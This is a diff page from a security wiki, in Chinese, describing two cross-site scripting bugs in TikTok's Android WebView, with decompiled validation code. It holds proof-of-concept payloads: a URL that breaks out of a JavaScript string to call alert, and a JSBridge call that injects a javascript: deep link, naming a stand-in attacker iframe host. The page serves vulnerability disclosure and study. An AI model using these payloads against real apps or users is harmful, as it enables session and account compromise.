Difference between revisions of "安卓版TikTok XSS漏洞/zh-cn"

From PwnWiki
(Created page with "==TikTok WebView上的通用XSS==")
Line 14: Line 14:
 
Add Wiki Activity 实现URL验证,以确保不会在其中打开黑名单中的URL。但验证只在http或https方案中进行。因为他们认为其他方案都是无效的,不需要验证。
 
Add Wiki Activity 实现URL验证,以确保不会在其中打开黑名单中的URL。但验证只在http或https方案中进行。因为他们认为其他方案都是无效的,不需要验证。
  
if(!e.b(arg8)) {
+
<pre>if(!e.b(arg8)) {
 
     com.bytedance.t.c.e.b.a("AbsSecStrategy", "needBuildSecLink : url is invalid.");
 
     com.bytedance.t.c.e.b.a("AbsSecStrategy", "needBuildSecLink : url is invalid.");
 
     return false;
 
     return false;
Line 20: Line 20:
 
     return !TextUtils.isEmpty(arg1) && ((arg1.startsWith("http")) || (arg1.startsWith("https"))) && !e.a(arg1);
 
     return !TextUtils.isEmpty(arg1) && ((arg1.startsWith("http")) || (arg1.startsWith("https"))) && !e.a(arg1);
 
}
 
}
 +
<pre>
  
 
即便验证不是在JavaScript方案上,也可以使用该方案对该WebView进行XSS攻击。
 
即便验证不是在JavaScript方案上,也可以使用该方案对该WebView进行XSS攻击。

Revision as of 08:32, 3 July 2021

Other languages:
Bahasa Indonesia • ‎Chinese • ‎English • ‎中文(中国大陆)‎ • ‎中文(台灣)‎ • ‎中文(繁體)‎

TikTok WebView上的通用XSS

https://m.tiktok.com/falcon/#'),alert(1));//

将触发以下执行:

JSON.stringify(window.performance.getEntriesByName('https://m.tiktok.com/falcon/#'),alert(1));//'))

Add Wiki Activity的另一個XSS

Add Wiki Activity 实现URL验证,以确保不会在其中打开黑名单中的URL。但验证只在http或https方案中进行。因为他们认为其他方案都是无效的,不需要验证。

if(!e.b(arg8)) {
    com.bytedance.t.c.e.b.a("AbsSecStrategy", "needBuildSecLink : url is invalid.");
    return false;
}public static boolean b(String arg1) {
    return !TextUtils.isEmpty(arg1) && ((arg1.startsWith("http")) || (arg1.startsWith("https"))) && !e.a(arg1);
}
<pre>

即便验证不是在JavaScript方案上,也可以使用该方案对该WebView进行XSS攻击。

<pre>
window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
"__callback_id": "0",
"func": "openSchema",
"__msg_type": "callback",
"params": {
"schema": "aweme://wiki?url=javascript://m.tiktok.com/%250adocument.write(%22%3Ch1%3EPoC%3C%2Fh1%3E%22)&disable_app_link=false"
},
"JSSDK": "1",
"namespace": "host",
"__iframe_url": "http://iframe.attacker.com/"
}));